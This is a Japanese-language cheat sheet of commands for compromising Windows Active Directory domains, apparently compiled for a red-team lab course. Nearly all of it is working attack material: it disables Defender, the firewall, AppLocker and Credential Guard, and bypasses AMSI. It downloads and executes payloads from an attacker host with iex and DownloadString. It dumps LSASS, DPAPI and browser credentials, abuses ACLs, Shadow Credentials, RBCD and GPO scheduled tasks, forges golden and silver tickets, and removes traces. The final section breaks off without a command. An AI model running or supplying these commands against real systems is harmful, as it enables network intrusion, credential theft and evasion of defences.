目次
1. 共通
1-1. セキュリティ機能の無効化
管理者権限が必要
# [Windows Defender] リアルタイム監視を無効化
Set-MpPreference -DisableRealtimeMonitoring $true
# [Windows Defender] ダウンロードファイル保護を無効化
Set-MpPreference -DisableIOAVProtection $true
# [Windows Defender] GUI:リアルタイム監視を無効化、改ざん防止を無効化
Start → Settings → Update & Security → Windows Security → Virus & threat protection → Manage settings → Real-time protection / Tamper Protection: OFF
# [Windows Firewall] 全プロファイルで無効化
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
# [Windows Firewall] 無効化
Control Panel → System and Security → Windows Firewall → Turn off
# [Credential Guard] 状態確認
(Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning
# [Credential Guard] 無効化(再起動後に反映)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard" /v LsaCfgFlags /t REG_DWORD /d 0 /f
shutdown /r /t 0
1-2. セキュリティ機能の検知回避
# [InvisiShell] ロギング・AMSI を回避(非管理者でも使用可能)
InvisiShell\RunWithRegistryNonAdmin.bat
1-3. アプリケーション実行制御の無効化
# [AppLocker] レジストリ書き換えで無効化
reg add "HKLM\Software\Policies\Microsoft\Windows\SrpV2" /f
reg add "HKLM\Software\Policies\Microsoft\Windows\SrpV2\Exe" /v EnforcementMode /t REG_DWORD /d 0 /f
reg add "HKLM\Software\Policies\Microsoft\Windows\SrpV2\Script" /v EnforcementMode /t REG_DWORD /d 0 /f
reg add "HKLM\Software\Policies\Microsoft\Windows\SrpV2\Dll" /v EnforcementMode /t REG_DWORD /d 0 /f
reg add "HKLM\Software\Policies\Microsoft\Windows\SrpV2\Msi" /v EnforcementMode /t REG_DWORD /d 0 /f
# [AppLocker] GPO 書き換えで無効化(パスは環境に合わせて変更)
$path="\\dcorp-dc\SYSVOL\hoge.fuga.local\Policies\{0D1CC23D-1F20-4EEE-AF64-D99597AE2A6E}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
(Get-Content $path) | Where-Object {$_ -notmatch "AppLocker|SrpV2"} | Set-Content $path
1-4. ファイル配送
# [HTTP] ポートフォワーディング設定
netsh interface portproxy show all
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=<attackerIP>
# [HTTP] ダウンロード
curl http://127.0.0.1:8080/Loader.exe -o Loader.exe
# [HTTP] ダウンロード(.NET API)
(New-Object Net.WebClient).DownloadFile('http://127.0.0.1:8080/<File>', '<DestPath>')
# [HTTP] ダウンロード(PowerShell)
iwr http://<attackerIP>/Loader.exe -OutFile C:\Users\Public\Loader.exe
# [HTTP] ダウンロード&実行(.NET API)
iex ((New-Object Net.WebClient).DownloadString('http://127.0.0.1:8080/PowerView.ps1'))
# [HTTP] ダウンロード&実行(PowerShell)
iex (iwr http://127.0.0.1:8080/Invoke-PowerShellTcp.ps1 -UseBasicParsing)
# [SMB] ファイルコピー(cmd)
echo F | xcopy C:\Users\Public\Loader.exe \\<computername>\C$\Users\Public\Loader.exe
# [SMB] ファイルコピー(PowerShell)
Copy-Item .\file.ps1 \\<computername>\c$\Users\Public\
# [SMB] ネットワークドライブのマウントと利用
net use x: \\<hostname>\C$\Users\Public /user:<hostname>\Administrator <password>
echo F | xcopy .\Loader.exe x:\Loader.exe
net use x: /d
# [RDP] xfreerdp での接続(Kali から)
xfreerdp3 /dynamic-resolution /drive:crte,/home/kali/Tools /cert:ignore /v:<targetIP> /u:'<domain>\<username>' /p:<password> +clipboard
1-5. ツールロード
# [PowerView] ロード
. .\PowerView.ps1
# [ADModule] ロード
Import-Module .\ADModule\ActiveDirectory\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ADModule\ActiveDirectory\ActiveDirectory.psd1
# [PowerUpSQL] ロード
Import-Module .\PowerUpSQL-master\PowerupSQL.psd1
# [DSInternals] ロード
Import-Module .\DSInternals_v5.3\DSInternals\DSInternals.psd1
# [Powermad] ロード(コンピューターアカウント作成に使用)
. .\Powermad\Powermad.ps1
# [SOAPHound] キャッシュ生成
SOAPHound.exe --buildcache --nolaps --cachefilename .\dump\enum.cache
# [SOAPHound] BloodHound 互換データ生成
SOAPHound.exe --domain <targetDomain> --dc <targetDC> --bhdump --outputdirectory .\dump --cachefilename .\dump\enum.cache --nolaps
# [SharpHound] 全ドメイン収集(exe)
SharpHound.exe --SearchForest --CollectionMethods All,Trusts
# [SharpHound] OPSEC 考慮版(DC への直接接続を避ける)
SharpHound.exe --collectionmethods Group,GPOLocalGroup,Session,Trusts,ACL,Container,ObjectProps,SPNTargets,CertServices --excludedcs
# [BloodHound] Docker 起動
sudo docker compose up -d
docker compose logs | grep "Initial Password Set To"
# [リバースシェル] リスナー起動
.\netcat-win32-1.12\nc64.exe -lvp 443
1-6. チケット操作
# パスワードからハッシュを算出する
Rubeus.exe hash /user:<userName> /password:<password> /domain:<domainFQDN>
# TGTを要求しファイルに保存する
Rubeus.exe asktgt /user:<userName> /aes256:<AES256key> /domain:<domainFQDN> /opsec /force /outfile:<*.kirbi>
# TGTをインポートする
Rubeus.exe ptt /ticket:<kirbiFilePath>
# TGSを要求する
## /ticketはファイルもしくはbase64encoedValueを指定
Rubeus.exe asktgs /service:<serviceName>/<computerFQDN> /dc:<targetDomain_domainControllerFQDN> /ptt /ticket:<file/base64encoded>
# チケット確認
klist
# OPSEC 考慮版チケット確認
.\Loader.exe -path .\Rubeus.exe -args klist
# 全チケット削除
klist purge
# 特定チケット削除
Rubeus.exe purge /luid:<luid>
2. 列挙フェーズ
2-0. 最初に実行する列挙(エントリーポイント確認)
# [OS コマンド] 現在のユーザーと権限を確認
whoami
whoami /groups
# [OS コマンド] 現在のマシン情報を確認
hostname
ipconfig /all
# [Kerberos] 現在のチケットを確認
klist
# [ADModule] 自分のグループメンバーシップを再帰的に確認
# 観点: 高権限グループへの所属・特殊権限の有無を確認する
function Get-ADPrincipalGroupMembershipRecursive ($SamAccountName)
{
$groups = @(Get-ADPrincipalGroupMembership -Identity $SamAccountName -ResourceContextServer <domainContollerFQDN> | select -ExpandProperty distinguishedname)
$groups
if ($groups.count -gt 0)
{
foreach ($group in $groups)
{
Get-ADPrincipalGroupMembershipRecursive $group
}
}
}
Get-ADPrincipalGroupMembershipRecursive '<自分のユーザー名>'
# PowerView版
function Get-GroupsRecursive ($Identity) {
$groups = @(Get-DomainGroup -MemberIdentity $Identity | select -ExpandProperty distinguishedname)
$groups
if ($groups.Count -gt 0) {
foreach ($g in $groups) { Get-GroupsRecursive $g }
}
}
Get-GroupsRecursive '<自分のユーザー名>'
# [PowerView] 自分に関係する ACL を確認
# 観点: IsInherited=False の明示的 ACE に注目する
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object { $_.IdentityReferenceName -match '<自分のユーザー名 or グループ名>' }
# [SharpADWS] ACL 一括確認(高速)
.\SharpADWS.exe Cache
.\SharpADWS.exe Acl -user > user_acls.txt
.\SharpADWS.exe DCSync -action list
2-1. フォレスト・ドメイン・信頼関係
ポイント: 信頼関係の方向・種類・SID Filtering の有無を把握する。クロスフォレスト攻撃の可能性を評価する。
# [PowerView] 現在のフォレスト情報を取得
Get-Forest
# [PowerView] フォレストの信頼関係を取得
Get-ForestTrust
# [PowerView] フォレストのドメイン一覧を取得
Get-ForestDomain -Forest <forestName> | Select-Object -Property Name, Parent, Children, DomainControllers
# [PowerView] 各ドメインの信頼関係を確認
# TrustDirection: Bidirectional=双方向, Inbound=受信, Outbound=送信
# TrustAttributes: FILTER_SIDS=SIDフィルタリング有効, FOREST_TRANSITIVE=フォレスト間推移的
Get-DomainTrust -Domain <domainName> | Select-Object -Property SourceName, TargetName, TrustAttributes, TrustDirection
# [PowerView] フォレスト内全ドメインの信頼関係を一括確認
Get-ForestDomain -Forest <forestName> | %{Get-DomainTrust -Domain $_.Name}
# [PowerView] 外部フォレストへの信頼のみを抽出
Get-ForestDomain -Forest <forestName> | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
# [ADModule] PAM Trust の存在確認(SIDFilteringQuarantined=False が PAM Trust の証拠)
Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}
# [PowerView] 信頼アカウント(DOMAIN$ 形式)を列挙(TrustAccount フラグで絞り込む)
# 信頼アカウントは DA 権限で DCSync 可能であり、対象フォレストへの認証に使用できる
Get-DomainObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=2048)' | Select name, objectsid, useraccountcontrol
# [PowerView] ドメイン SID の取得
Get-DomainSID -Domain <domainName>
# [PowerView] ドメインコントローラーの特定
Get-DomainController -Domain <domainName>
# [ADModule] ドメインコントローラーの詳細を取得
Get-ADDomainController -Server <domainName> | Select Forest, Domain, HostName, Name, IPv4Address, Enabled
2-2. ドメインユーザー・グループ
# [PowerView] ドメインユーザー一覧を取得
Get-DomainUser | Select-Object -Property samaccountname, useraccountcontrol, msds-allowedtodelegateto
# [PowerView] 特定ユーザーの SID を取得
Get-DomainUser -Identity <username> | Select-Object -Property name, objectsid
# [PowerView] ビルトインアカウントを確認(隠れた説明文から情報収集)
Get-DomainUser -LDAPFilter "Description=*built*" | Select name, Description
# [PowerView] ドメイングループ一覧を取得
Get-DomainGroup | select -ExpandProperty samaccountname
# [PowerView] 管理者系グループを列挙
Get-DomainGroup *admin* | select -ExpandProperty samaccountname
# [PowerView] Domain Admins グループのメンバーを再帰的に取得
Get-DomainGroupMember -Identity "Domain Admins" -Recurse | select -ExpandProperty memberName
# [PowerView] Enterprise Admins グループのメンバーを取得
Get-DomainGroupMember -Identity "Enterprise Admins" -Domain <parentDomain> -Recurse | select -ExpandProperty membername
# [PowerView] 特定ユーザーが所属するグループを逆引き
Get-DomainGroup -MemberIdentity <username>
# [PowerView] SID を名前に変換
ConvertFrom-SID <SID>
2-3. ドメインコンピューター
# [PowerView] ドメインコンピューター一覧を取得
Get-DomainComputer | Select-Object -Property name, useraccountcontrol, serviceprincipalname, msds-allowedtodelegateto | Format-List
# [PowerView] 特定 OU 配下のコンピューターを取得
Get-DomainComputer -SearchBase "OU=<ouName>,DC=<domain>,DC=<tld>"
# [PowerView] 指定マシン上のローカルグループ一覧を取得(DC 以外は管理者権限が必要)
Get-NetLocalGroup -ComputerName <hostname>
# [PowerView] 指定マシン上のローカル管理者グループのメンバーを取得
Get-NetLocalGroupMember -ComputerName <hostname> -GroupName Administrators
2-4. ACL(最重要)
ポイント:
IsInherited=Falseの明示的 ACE が攻撃対象。GenericAll/GenericWrite/WriteDACL/WriteOwner が悪用可能権限。
# [PowerView] 全体の興味深い ACL を列挙(最初に実行する)
Find-InterestingDomainAcl -ResolveGUIDs | Select-Object -Property ObjectDN, AceType, ActiveDirectoryRights, IdentityReferenceName | Format-List
# [PowerView] 特定ユーザー/グループに関係する ACL を絞り込む
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match '<username or groupname>'}
# [PowerView] 特定オブジェクトの ACL を取得(IsInherited=False に注目)
Get-DomainObjectAcl -Identity '<objectDN or objectName>' -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match 'Write|GenericAll|WriteDACL|WriteOwner' -and
$_.IsInherited -eq $false
} | Select @{Name='Identity'; Expression={ ConvertFrom-SID $_.SecurityIdentifier }}, ActiveDirectoryRights
# [PowerView] コンピューターオブジェクトへの書き込み権限を列挙(RBCD 悪用の前提確認)
Find-InterestingDomainAcl | ?{$_.ObjectDN -match "CN=.*," -and $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDACL"}
# [PowerView] DCSync 権限を持つプリンシパルを列挙
Get-DomainObjectAcl -Identity 'DC=<domain>,DC=<tld>' -ResolveGUIDs | Where-Object {
$_.ObjectAceType -match 'DS-Replication-Get-Changes'
} | Select @{Name='Identity'; Expression={ ConvertFrom-SID $_.SecurityIdentifier }}, ObjectAceType
# [PowerView] 他ドメインの ACL に自ドメインの SID を持つアカウントを列挙(クロスフォレスト誤設定の発見)
$mySID = Get-DomainSID
Get-DomainObjectAcl -Domain <targetDomain> -ResolveGUIDs | Where-Object {
$_.SecurityIdentifier -match $mySID
} | Select ObjectDN, ActiveDirectoryRights, @{Name='Identity'; Expression={ ConvertFrom-SID $_.SecurityIdentifier }}
# [PowerView] ユーザーのパスワードを強制変更(GenericAll/GenericWrite 権限がある場合)
Set-DomainUserPassword -Identity <username> -AccountPassword (ConvertTo-SecureString 'Pass@123' -AsPlainText -Force) -Domain <domain>
# [PowerView] 特定オブジェクトに GenericAll を付与
Add-DomainObjectAcl -TargetIdentity <objectName> -PrincipalIdentity <attackerUsername> -Rights GenericAll
2-5. Kerberos 関連(委任/Kerberoast)
# [PowerView] Kerberoast 対象のサービスアカウントを列挙
Get-NetUser -SPN -Domain <domainName>
# [PowerView] Kerberos 事前認証が不要なアカウントを列挙(AS-REP Roasting)
Get-DomainUser -PreauthNotRequired -Domain <domainName> | Select-Object -Property userprincipalname, useraccountcontrol
# [PowerView] 制約付き委任が有効なユーザーアカウントを列挙
Get-DomainUser -TrustedToAuth | Select-Object -Property samaccountname, msds-allowedtodelegateto, useraccountcontrol
# [PowerView] 制約付き委任が有効なコンピューターアカウントを列挙
Get-DomainComputer -TrustedToAuth | Select-Object -Property samaccountname, msds-allowedtodelegateto, useraccountcontrol
# [PowerView] 制約のない委任が有効なコンピューターを列挙
Get-DomainComputer -Unconstrained | select -ExpandProperty name
2-6. GPO・OU・WMI フィルター
ポイント: WMI フィルター付き GPO への Write 権限 → GPO 適用先 OU 確認 → ターゲットの移動 → Shadow Credentials/RBCD の順で考える。
# [PowerView] OU 一覧を取得
Get-DomainOU | select -ExpandProperty name
# [PowerView] OU のメンバーを列挙
(Get-DomainOU -Identity <ouName>).distinguishedname | %{Get-DomainObject -SearchBase $_} | select name, samaccounttype
# [PowerView] GPO 一覧を取得
Get-DomainGPO | Select displayname, name, gpcwqlfilter
# [PowerView] WMI フィルター付き GPO を列挙(WMI フィルターは特定条件のマシン/ユーザーへの適用を意味する)
Get-DomainGPO | Where-Object { $_.gpcwqlfilter -ne $null } | Select displayname, name, gpcwqlfilter
# [PowerView] WMI フィルターの詳細を確認(msWMI-Name が人間が読める名前、msWMI-Parm2 が WQL クエリ)
Get-DomainObject -Identity '<WMIFilter-GUID>' | Select 'msWMI-Name', 'msWMI-Parm2'
# [PowerView] GPO への書き込み権限を持つプリンシパルを列挙(IsInherited=False に注目)
Get-DomainObjectAcl -Identity '<GPO-GUID>' -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match 'Write|GenericAll' -and $_.IsInherited -eq $false
} | Select @{Name='Identity'; Expression={ ConvertFrom-SID $_.SecurityIdentifier }}, ActiveDirectoryRights
# [PowerView] GPO が適用される OU を逆引き(GUID で検索)
Get-DomainOU | Where-Object { $_.gplink -match '<GPO-GUID>' } | Select name, distinguishedname
# [PowerView] OU の中身を確認(ターゲットがその OU にいるか確認)
Get-DomainObject -SearchBase '<OU DN>' | Select name, objectclass
# [PowerView] Restricted Groups の設定を確認(GPO 経由でローカルグループに誰が追加されるか)
Get-DomainGPOLocalGroup | Select GPODisplayName, GroupName, GroupMemberOf
# [ADModule] GPO の詳細レポートを出力
Get-GPOReport -Guid "<GPO GUID>" -ReportType Xml -Path .\GPO.xml
2-7. AD CS
ポイント: Enrollment Services → CA の存在確認 → 脆弱テンプレートの列挙 → ESC1〜8 のどれかを判断する。
# [Certify] CA 一覧を列挙
.\Certify.exe cas
# [Certify] 全テンプレートを列挙
.\Certify.exe find
# [Certify] 脆弱なテンプレートを列挙(ESC1〜8 の自動検出)
.\Certify.exe find /vulnerable
# [Certify] 申請者が SAN を指定できるテンプレートを列挙(ESC1)
.\Certify.exe find /enrolleeSuppliesSubject
# [certipy] 脆弱テンプレートを列挙(WSL/Kali から実行)
certipy find -u <username> -p <password> -dc-ip <dcIP> -stdout
# [ADModule] クロスフォレストの Enrollment Services を確認
Get-ADObject -SearchBase "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<tld>" -Filter * -Server <domainName> | Select Name, DistinguishedName
2-8. FSP(Foreign Security Principal)
ポイント: 他フォレストのユーザーが自ドメインのグループ(特に Administrators)に登録されていれば、そのユーザーを侵害することで自ドメインに DA 相当の権限が得られる。
# [PowerView] 外部フォレストのユーザーが含まれるグループを列挙
Find-ForeignGroup -Domain <domain> -Verbose
# [ADModule] 外部セキュリティプリンシパルを列挙
Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"} -Server <domain>
# [ADModule] FSP が含まれるグループを特定(SID で検索)
Get-ADGroup -Filter * -Properties Member -Server <domain> | Where-Object { $_.Member -match '<SID>' }
# [PowerView] FSP の SID を実際のユーザーに解決
Get-DomainUser -Domain <foreignDomain> | Where-Object { $_.objectsid -eq '<SID>' }
2-9. MSSQL
# [PowerUpSQL] SQL インスタンスを自動検出
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# [PowerUpSQL] SQL リンクを列挙
Get-SQLServerLink -Instance <computerName> -Verbose
# [PowerUpSQL] リンクチェーンを全探索(最重要:sysadmin 権限を持つノードを発見する)
Get-SQLServerLinkCrawl -Instance <Instance> -Verbose
# [PowerUpSQL] 各ノードで xp_cmdshell が有効かを確認(CustomQuery にユーザー名が入れば有効)
Get-SQLServerLinkCrawl -Instance <Instance> -Query 'exec master..xp_cmdshell ''whoami'''
2-10. セキュリティ設定
# [PowerView] LAPS v1 が読めるプリンシパルを列挙(ms-Mcs-AdmPwd)
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ObjectAceType -match 'ms-Mcs-AdmPwd' } | Select ObjectDN, @{Name='Reader'; Expression={ ConvertFrom-SID $_.SecurityIdentifier }}
# [PowerView] LAPS v2 が読めるプリンシパルを列挙(ms-LAPS-Password)
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectAceType -like 'ms-LAPS-Password') -and ($_.ActiveDirectoryRights -match 'ReadProperty')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_}
# [ADModule] gMSA を列挙(ObjectClass で絞り込む)
Get-DomainObject -LDAPFilter '(ObjectClass=msDS-GroupManagedServiceAccount)'
# [ADModule] gMSA のパスワードを読めるプリンシパルを確認
Get-ADServiceAccount -Identity <gMSAname> -Properties * | Select PrincipalsAllowedToRetrieveManagedPassword
# [PowerView] dMSA を列挙(移行元アカウントと書き込み権限を確認)
# msds-managedaccountprecededbylink: 実際にリンクされているアカウントの DN(移行元)
# msDS-ManagedPasswordInterval: パスワード更新間隔
# whencreated: 不審な dMSA の検出に使用
$dmsa = Get-DomainObject -LDAPFilter '(objectClass=msDS-DelegatedManagedServiceAccount)' | Select name, distinguishedname, 'msds-managedaccountprecededbylink', 'msDS-GroupMSAMembership', 'msDS-ManagedPasswordInterval', 'useraccountcontrol', whencreated
$dmsa
# [PowerView] dMSA に対する書き込み権限を確認(IsInherited=False に注目)
Get-DomainObjectAcl -Identity $dmsa.distinguishedname -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match 'Write|GenericAll' -and $_.IsInherited -eq $false
} | Select @{Name='Identity'; Expression={ ConvertFrom-SID $_.SecurityIdentifier }}, ActiveDirectoryRights
# [PowerView] 移行元アカウント(msds-managedaccountprecededbylink)が DCSync 権限を持つか確認
Get-DomainObjectAcl -Identity 'DC=<domain>,DC=<tld>' -ResolveGUIDs | Where-Object {
$_.ObjectAceType -match 'DS-Replication-Get-Changes'
} | Select @{Name='Identity'; Expression={ ConvertFrom-SID $_.SecurityIdentifier }}, ObjectAceType
# [PowerView] Credential Guard の有効状態を確認(0: 無効、1: 有効)
(Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning
# [PowerView] WDAC(Windows Defender Application Control)の有効状態を確認
## 0:無効、1:監査モード、2:強制モード(有効)
### CodeIntegrityPolicyEnforcementStatus:カーネルモード
### UsermodeCodeIntegrityPolicyEnforcementStatus:ユーザーモード
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
# [reg] AppLocker による制御有無を確認
reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2
ポイント
下記項目の状況が多く出現する。この場合はLSASS自体からサービスアカウントのパスワードやKerberosチケット(TGT、TGS)が取得可能。
| 項目 | 値 | 意味 |
|---|---|---|
| Credential Guard | 1 | LSASS から平文パスワード・NTLMハッシュが取れない |
| WDAC カーネル | 1 | 署名なしドライバーのロードがブロックされる |
| WDAC ユーザー | 0 | ユーザーモードの実行制限はない |
| AppLocker | 0 | 実行制限なし |
| PPL | 0 | LSASS プロセスへの直接アクセスは可能 |
# Kerberos チケット(TGT/TGS)はメモリに残る
.\Loader.exe -path .\SafetyKatz.exe -args "sekurlsa::evasive-keys" "exit"
# LSA Secrets(サービスアカウントのパスワードなど)
.\Loader.exe -path .\SafetyKatz.exe -args "lsadump::evasive-lsa /patch" "exit"
# 1. Kerberos チケットをダンプして Overpass-the-Hash
.\Loader.exe -path .\Rubeus.exe -args triage
.\Loader.exe -path .\Rubeus.exe -args dump /luid:<luid> /nowrap
# 2. DPAPI で保存済み資格情報を狙う
.\Loader.exe -path .\SharpDPAPI.exe -args machinecredentials
# 3. ブラウザの保存パスワードを狙う
.\chromelevator_x64.exe all
2-11. 横展開先の探索
ポイント: アカウント取得後は必ずこの3点を確認する。
# [PowerView] 自分がローカル管理者権限を持つマシンを列挙
Find-LocalAdminAccess
# [PowerView] 高権限ユーザーのセッションがあるマシンを探索
Find-DomainUserLocation
# [PSRemotingLocalAdminAccess] WinRM でアクセスできるマシンを列挙
. .\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess -Verbose
# [SessionHunter] セッションを列挙(ターゲットのクレデンシャルダンプが可能なマシンを特定)
. .\Invoke-SessionHunter.ps1
Invoke-SessionHunter -NoPortScan -RawResults -Target .\target.txt | select Hostname, UserSession, Access
2-12. Entra Connect
ポイント: MSOL_* アカウントの Description からサーバー名とテナントを特定する。PHS/PTA/ADFS のいずれかなら MSOL_* が存在する。
# [ADModule] フォレストルートドメインを確認(MSOL_* はルートドメインに作成される)
(Get-ADForest).RootDomain
# [ADModule] MSOL_* アカウントを列挙(フォレストルートに対して検索)
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Server <forestRootDomain> -Properties * | Select SamAccountName, Description | fl
# [PowerView] PowerView で同等の確認
Get-DomainUser -Domain <forestRootDomain> | Where-Object { $_.samaccountname -like 'MSOL_*' } | Select samaccountname, description
2-13. BloodHound
データ収集
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethods All -SearchForest -Domain lab.internal -CollectAllProperties -RebuildCache
Invoke-BloodHound -CollectionMethods All -SearchForest -Domain techprod.corp -CollectAllProperties -RebuildCache
クエリ
# 特定ユーザーの全アウトバウンド権限を可視化
MATCH p=(u:User {name:'<USERNAME>@<DOMAIN>'})-[r:MemberOf|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]->(m)
RETURN p
# AddSelf 権限を持つノードをすべて表示
MATCH p = (n)-[:AddSelf]->(g)
RETURN p
# クロスフォレストの攻撃経路を表示
MATCH p=(n)-[r]->(m) WHERE n.domain <> m.domain RETURN p
3. 権限昇格
3-1. ローカル権限昇格
# [LeakedHandlesFinder] リークされたハンドルを検出(PID → ParentPID → プロセス名の順で確認)
.\LeakedHandlesFinder.exe
# [LeakedHandlesFinder] autopwn で SYSTEM 権限を自動取得
.\LeakedHandlesFinder.exe -a
# [PowerUp] 全チェックを実行
. .\PowerUp.ps1
Invoke-AllChecks
# [PowerUp] サービスの誤設定を悪用してローカル管理者に昇格
Invoke-ServiceAbuse -Name '<serviceName>' -UserName '<domain>\<username>'
3-2. Overpass-the-Hash(TGT 取得)
管理者権限でシェルを起動してから実行すること。whoami は元のアカウント名のまま(ネットワーク認証のみ変わる)。
# [Rubeus] AES256 ハッシュで TGT を取得し既存のシェルに挿入する
Rubeus.exe asktgt /user:<username> /aes256:<hash> /opsec /ptt
# [Rubeus] AES256 ハッシュで TGT を取得し新しいプロセスを起動
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:<username> /aes256:<hash> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
# [Rubeus] TGTを作成しファイルに出力する
Rubeus.exe asktgt /user:<username> /domain:<domainName> /dc:<dcName> /aes256:<hash> /opsec /outfile:<filename>.tgt
# [Rubeus] TGTファイルからTGSを作成する
Rubeus.exe asktgs /service:host/<targetMachineName> /dc:<dcName> /ticket:<finename>.tgt /ptt
# [Rubeus] 平文パスワードを AES256 ハッシュに変換
.\Loader.exe -Path .\Rubeus.exe -args hash /user:<username> /password:<password> /domain:<domain>
3-3. Shadow Credentials
前提: ターゲットユーザー/コンピューターへの
GenericWriteまたはWriteProperty on msDS-KeyCredentialLinkが必要。
Kerberos認証の拡張機能「PKINIT(証明書ベース認証)」を悪用し、ユーザー/コンピュータオブジェクトの
msDS-KeyCredentialLink属性を書き換えることでパスワードを変更せずに認証を乗っ取る攻撃手法。msDS-KeyCredentialLink属性自体は Windows Hello for Business(WHfB) を実現するための正規機能である。
# [Rubeus] 現在のユーザーのパスワードを AES256 ハッシュに変換
.\Loader.exe -Path .\Rubeus.exe -args hash /user:<attackerUsername> /password:<attackerPassword> /domain:<domain>
# [keycred] 新規 RSA 鍵ペアを生成して msDS-KeyCredentialLink に公開鍵を登録
# (AES256 は書き込み権限の証明に使用。登録されるのは新規生成した RSA 公開鍵)
keycred.exe add -u <domain>/<attackerUsername> --aes-key <AES256_CTS_HMAC_SHA1> -t <targetUser> --dc <dcFQDN>
# [keycred] 生成した秘密鍵(pfx)で PKINIT 認証し TGT と NTLM ハッシュを取得
keycred.exe auth -u <domain>/<attackerUsername> --pfx <targetUser>.pfx --dc <dcFQDN>
# [Whisker] Whisker を使う場合(TGT + NTLM を一度に取得)
Whisker.exe add /target:<targetUser> /domain:<domain> /dc:<dcFQDN>
# [ccache 変換] ccache を kirbi に変換して Rubeus で使用
"C:\Program Files\Python313\Scripts\minikerberos-ccache2kirbi.exe" <ccacheFile> .
# [Rubeus] チケットをインポート
.\Loader.exe -Path .\Rubeus.exe -args ptt /ticket:<targetUser>.kirbi
# [後片付け] msDS-KeyCredentialLink を削除(痕跡消去)
Whisker.exe remove /target:<targetUser> /domain:<domain> /dc:<dcFQDN> /credentialguid:<guid>
3-4. RBCD(Resource-Based Constrained Delegation)
前提: ターゲットコンピューターへの
GenericWriteが必要。ms-DS-MachineAccountQuotaが 0 以上なら新規コンピューターアカウントを作成できる。
# [ADModule] MachineAccountQuota を確認(デフォルト 10)
Get-ADObject -Identity 'DC=<domain>,DC=<tld>' -Properties 'ms-DS-MachineAccountQuota'
# [Powermad] 攻撃用コンピューターアカウントを作成
New-MachineAccount -MachineAccount 'attackerPC$' -Password $(ConvertTo-SecureString 'P@ssword123' -AsPlainText -Force)
# [PowerView] RBCD を設定(ターゲットコンピューターの msDS-AllowedToActOnBehalfOfOtherIdentity に登録)
Set-DomainRBCD -Identity <targetComputerName> -DelegateFrom 'attackerPC$'
# [ADModule] RBCD を設定(PowerView 代替)
$comps = 'attackerPC$'
Set-ADComputer -Identity <targetComputerName> -PrincipalsAllowedToDelegateToAccount $comps
# [Rubeus] attackerPC$ の AES256 を算出
.\Loader.exe -Path .\Rubeus.exe -args hash /user:attackerPC$ /password:P@ssword123 /domain:<domain>
# [Rubeus] attackerPC$ の TGT を取得
.\Loader.exe -path .\Rubeus.exe -args asktgt /user:attackerPC$ /aes256:<hash> /domain:<domain> /opsec /outfile:attackerPC.kirbi
# [Rubeus] S4U2Self + S4U2Proxy で Administrator の TGS を取得
.\Loader.exe -path .\Rubeus.exe -args s4u /user:attackerPC$ /domain:<domain> /msdsspn:cifs/<targetFQDN> /impersonateuser:administrator /altservice:http,host,cifs /dc:<dcFQDN> /ptt /ticket:attackerPC.kirbi
3-5. GPO 悪用(Restricted Groups / Scheduled Task)
# [SharpGPOAbuse] GPO に Scheduled Task を追加(DC 上でスクリプトを実行させる)
.\Loader.exe -Path .\SharpGPOAbuse.exe -args --AddComputerTask --TaskName '<taskName>' --Author <domain>\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://<attackerIP>/<script>.ps1'))\"" --GPOName <gpoName> --Domain <domain> --DomainController <dcFQDN> --Force
3-6. チケット偽造
ゴールデンチケット
# [SafetyKatz] krbtgt の AES256 を DCSync で取得
.\Loader.exe -path .\SafetyKatz.exe -args "lsadump::evasive-dcsync /user:<domain>\krbtgt /domain:<domain>" "exit"
# [Rubeus] ゴールデンチケットを偽造
.\Loader.exe -path .\Rubeus.exe -args evasive-golden /aes256:<krbtgt_aes256> /sid:<domainSID> /ldap /user:Administrator /printcmd
# 出力されたコマンドに -path .\Rubeus.exe -args と /ptt を追加して実行
シルバーチケット
# [Rubeus] シルバーチケットを偽造
.\Loader.exe -path .\Rubeus.exe -args evasive-silver /service:http/<hostname> /rc4:<machineAccountHash> /sid:<domainSID> /ldap /user:Administrator /domain:<domainFQDN> /ptt
ダイヤモンドチケット
# [Rubeus] ダイヤモンドチケットを偽造(より検知されにくい)
